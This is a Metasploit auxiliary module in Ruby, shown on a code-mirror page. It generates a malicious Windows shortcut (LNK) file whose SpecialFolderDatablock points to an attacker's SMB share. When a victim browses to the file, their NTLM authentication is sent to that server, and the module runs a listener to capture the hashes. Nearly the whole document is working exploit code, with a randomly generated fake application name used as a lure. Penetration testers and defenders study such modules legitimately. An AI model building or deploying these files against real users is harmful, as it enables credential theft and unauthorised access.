Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/specialfolder_leak.rb
23590 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'faker'
6
7
class MetasploitModule < Msf::Auxiliary
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Remote::SMB::Server::Share
11
include Msf::Exploit::Remote::SMB::Server::HashCapture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',
18
'Description' => %q{
19
This module creates a malicious Windows shortcut (LNK) file that
20
specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)
21
that can trigger an authentication attempt to a remote server. This can be used
22
to harvest NTLM authentication credentials.
23
24
When a victim browse to the location of the LNK file, it will attempt to
25
connect to the the specified UNC path, resulting in an SMB connection that
26
can be captured to harvest credentials.
27
},
28
'Author' => [ 'Nafiez' ],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[
32
'URL', 'https://zeifan.my/Right-Click-LNK/',
33
'EDB', '42382',
34
]
35
],
36
'Platform' => 'win',
37
'Targets' => [ [ 'Windows Universal', {} ] ],
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'Reliability' => [],
41
'SideEffects' => [ARTIFACTS_ON_DISK]
42
},
43
'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10
44
)
45
)
46
47
register_options([
48
OptString.new('APPNAME', [ false, 'Name of the application to display', nil])
49
])
50
end
51
52
def generate_shell_link_header
53
header = ''
54
header << [0x4C].pack('L') # HeaderSize (4 bytes)
55
header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)
56
header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode
57
header << [0x00].pack('L') # FileAttributes (4 bytes)
58
header << [0x00].pack('Q') # CreationTime (8 bytes)
59
header << [0x00].pack('Q') # AccessTime (8 bytes)
60
header << [0x00].pack('Q') # WriteTime (8 bytes)
61
header << [0x00].pack('L') # FileSize (4 bytes)
62
header << [0x00].pack('L') # IconIndex (4 bytes)
63
header << [0x00].pack('L') # ShowCommand (4 bytes)
64
header << [0x00].pack('S') # HotKey (2 bytes)
65
header << [0x00].pack('S') # Reserved1 (2 bytes)
66
header << [0x00].pack('L') # Reserved2 (4 bytes)
67
header << [0x00].pack('L') # Reserved3 (4 bytes)
68
69
header
70
end
71
72
def generate_item_id(data)
73
[data.length + 2].pack('S') + data
74
end
75
76
def generate_lnk_special(path, name)
77
# Force encoding to ASCII-8BIT (binary) to avoid encoding issues
78
path = path.dup.force_encoding('ASCII-8BIT')
79
name = name.dup.force_encoding('ASCII-8BIT')
80
81
# Add null terminator
82
path += "\x00".force_encoding('ASCII-8BIT')
83
name += "\x00".force_encoding('ASCII-8BIT')
84
85
# Convert to UTF-16LE manually
86
path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')
87
name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')
88
89
# Remove BOM (first 2 bytes) if present
90
path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")
91
name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")
92
93
bin_data = ''.force_encoding('ASCII-8BIT')
94
bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')
95
bin_data << [path.length].pack('S')
96
bin_data << [name.length].pack('S')
97
bin_data << path_utf16
98
bin_data << name_utf16
99
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment
100
101
bin_data
102
end
103
104
def generate_linktarget_idlist(path, name)
105
idlist = ''.force_encoding('ASCII-8BIT')
106
107
# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html
108
109
# First ItemID - My Computer / This PC
110
# {20D04FE0-3AEA-1069-A2D8-08002B30309D}
111
field_size_id1 = "\x1f\x50"
112
first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
113
idlist << generate_item_id(field_size_id1 + first_id)
114
115
# Second ItemID - Control Panel (All Tasks)
116
# {ED7BA470-8E54-465E-825C-99712043E01C}
117
field_size_id2 = "\x2e\x80"
118
second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
119
idlist << generate_item_id(field_size_id2 + second_id)
120
121
# Custom ItemID - Our UNC path
122
idlist << generate_item_id(generate_lnk_special(path, name))
123
124
# TerminalID
125
idlist << "\x00\x00".force_encoding('ASCII-8BIT')
126
127
# Full IDList with size
128
[idlist.length].pack('S') + idlist
129
end
130
131
def generate_extra_data
132
extra = ''.force_encoding('ASCII-8BIT')
133
extra << [0x10].pack('L') # BlockSize (4 bytes)
134
extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)
135
extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel
136
extra << [0x28].pack('L') # Offset (4 bytes)
137
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)
138
139
extra
140
end
141
142
def ms_shllink(path, name)
143
lnk_data = ''.force_encoding('ASCII-8BIT')
144
lnk_data << generate_shell_link_header
145
lnk_data << generate_linktarget_idlist(path, name)
146
lnk_data << generate_extra_data
147
148
lnk_data
149
end
150
151
def run
152
app_name = datastore['APPNAME']
153
154
app_name = "#{Faker::App.name}Application" if app_name.blank?
155
156
start_service
157
unc_share = datastore['SHARE']
158
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
159
unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"
160
161
lnk_data = ms_shllink(unc_path, app_name)
162
file_create(lnk_data)
163
print_good("LNK file created: #{datastore['FILENAME']}")
164
print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
165
stime = Time.now.to_f
166
timeout = datastore['ListenerTimeout'].to_i
167
loop do
168
break if timeout > 0 && (stime + timeout < Time.now.to_f)
169
170
Rex::ThreadSafe.sleep(1)
171
end
172
end
173
174
end
175
176